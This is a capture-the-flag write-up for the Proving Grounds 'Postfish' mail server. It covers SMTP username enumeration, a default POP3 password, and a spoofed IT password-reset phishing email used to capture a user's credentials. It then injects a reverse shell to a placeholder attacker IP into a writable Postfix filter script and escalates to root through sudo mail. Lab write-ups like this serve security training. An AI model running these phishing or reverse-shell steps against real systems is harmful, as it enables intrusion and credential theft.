# Postfish Writeup - Proving Grounds

> Hard Linux mail server where a staff page and SMTP VRFY build a username list, a lazy POP3 password leaks an internal email that sets up a believable SMTP phishing attack against the sales manager, and his filter group membership plus a sudo mail rule lead to root.

- **URL:** https://hackindex.io/writeups/postfish
- **Platform:** Proving Grounds
- **Difficulty:** Hard
- **Operating system:** Linux
- **Tags:** phishing, postfix, default-credentials, sudo-misconfiguration, gtfobins
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Postfish runs a full mail stack. A staff page and SMTP VRFY enumeration build a username list, a lazy POP3 password reveals an internal email, and that context makes an SMTP phishing email against the sales manager believable enough to capture his real password. A content filter script writable by his group gives a shell as `filter`, and a sudo rule for `mail` finishes the job as root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT    STATE SERVICE VERSION
# 22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 25/tcp  open  smtp    Postfix smtpd
# 80/tcp  open  http    Apache httpd 2.4.41 (Ubuntu)
# 110/tcp open  pop3    Dovecot pop3d
# 143/tcp open  imap    Dovecot imapd
# 993/tcp open  imaps   Dovecot imapd
# 995/tcp open  pop3s   Dovecot pop3d
```

The SMTP banner leaks the internal hostname `postfish.off`; add it to `/etc/hosts`.

### Web and Ident enumeration

The web root has a staff page.

```bash
curl http://postfish.off/team.html
# HR: Claire Madison
# IT: Mike Ross
# Sales: Brian Moore
# Legal: Sarah Lorem
```

Four full names, which combine with a guessed `firstname.lastname` convention and common department aliases into a username list.

### SMTP user enumeration

Verify the guessed usernames against SMTP VRFY.

```bash
smtp-user-enum -M VRFY -U /tmp/users.txt -t $TARGET_IP
# claire.madison => exists
# mike.ross => exists
# brian.moore => exists
# sarah.lorem => exists
# hr => exists
# it => exists
# sales => exists
# legal => exists
# filter => exists
# root => exists
```

All ten guessed accounts, including the department aliases and a `filter` service account, come back valid.

## Exploitation

### Lazy POP3 credentials and a leaked plan

Try the department alias as its own password over POP3.

```bash
telnet $TARGET_IP 110
# USER sales
# PASS sales
# +OK Logged in.
# LIST
# RETR 1
```

The sales inbox holds an email from `it@postfish.off` warning the team that password reset links are coming soon. That tells us `brian.moore` is expecting a reset email from IT, which is exactly the pretext needed for a believable phish.

### Phishing brian.moore via SMTP

Start a listener to catch whatever credentials the phishing link submits.

```bash
nc -lvnp 80
# listening on [any] 80 ...
```

Send a password-reset email impersonating IT, since SMTP here enforces no SPF/DKIM/DMARC.

```bash
nc $TARGET_IP 25
# HELO postfish.off
# MAIL FROM: it@postfish.off
# RCPT TO: brian.moore@postfish.off
# DATA
# Subject: Password Reset
#
# Hi Brian,
#
# Please reset your password using the link below:
#
# http://$ATTACKER_IP/reset
#
# Regards,
# IT Department
# .
# QUIT
```

Brian follows the link and the listener catches his submitted credentials.

```http
POST /reset HTTP/1.1
...
first_name=Brian&last_name=Moore&email=brian.moore@postfish.off&username=brian.moore&password=$BRIAN_PASSWORD&confirm_password=$BRIAN_PASSWORD
```

SSH in with the captured password.

```bash
ssh brian.moore@$TARGET_IP
# brian.moore@postfish:~$ cat ~/local.txt
```

## Privilege Escalation

### Filter group and the Postfix disclaimer script

Check group memberships.

```bash
id
# uid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)
```

`brian.moore` is in the `filter` group. Postfix runs a disclaimer script as a content filter, and that script is group-writable.

```bash
ls -la /etc/postfix/disclaimer
cat /etc/postfix/disclaimer_addresses
cat /etc/postfix/master.cf | grep -A2 disclaimer
# -rwxrwx--- 1 root filter 1184 ... /etc/postfix/disclaimer
# it@postfish.off
# brian.moore@postfish.off
# dfilt  unix  -  n  n  -  -  pipe flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
# smtp   inet  n  -  -  -  -  smtpd -o content_filter=dfilt:
```

The script runs as `filter` every time mail comes in from `it@postfish.off` or `brian.moore@postfish.off`, both addresses this account can send as. A cron job periodically resets the script, so the injection and the trigger have to happen in a single shot.

`sed -i` would normally be the quick way to patch the file, but it writes a temp file into the containing directory first, and the filter group only has write access to the file itself, not the directory. Using `sed file > target` instead avoids that.

```bash
nc -lvnp 443
# listening on [any] 443 ...
```

```bash
cp /etc/postfix/disclaimer /tmp/d.bak && sed '2i\/bin/bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1' /tmp/d.bak > /etc/postfix/disclaimer && nc 127.0.0.1 25 <<'SMTP'
HELO postfish.off
MAIL FROM:<it@postfish.off>
RCPT TO:<brian.moore@postfish.off>
DATA
From: it@postfish.off
Subject: trigger
test
.
QUIT
SMTP
```

The injected line runs before the rest of the script, and the listener catches a shell as `filter`.

### GTFOBins mail to root

Check sudo rights.

```bash
sudo -l
# User filter may run the following commands on postfish:
#     (ALL) NOPASSWD: /usr/bin/mail *
```

`mail` supports `!` to run shell commands, the same trick as the `ed` escape elsewhere, so a NOPASSWD rule for it is a direct root shell.

```bash
sudo /usr/bin/mail --exec='!/bin/sh'
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [GTFOBins - mail](https://gtfobins.github.io/gtfobins/mail/) - sudo mail --exec privilege escalation technique.
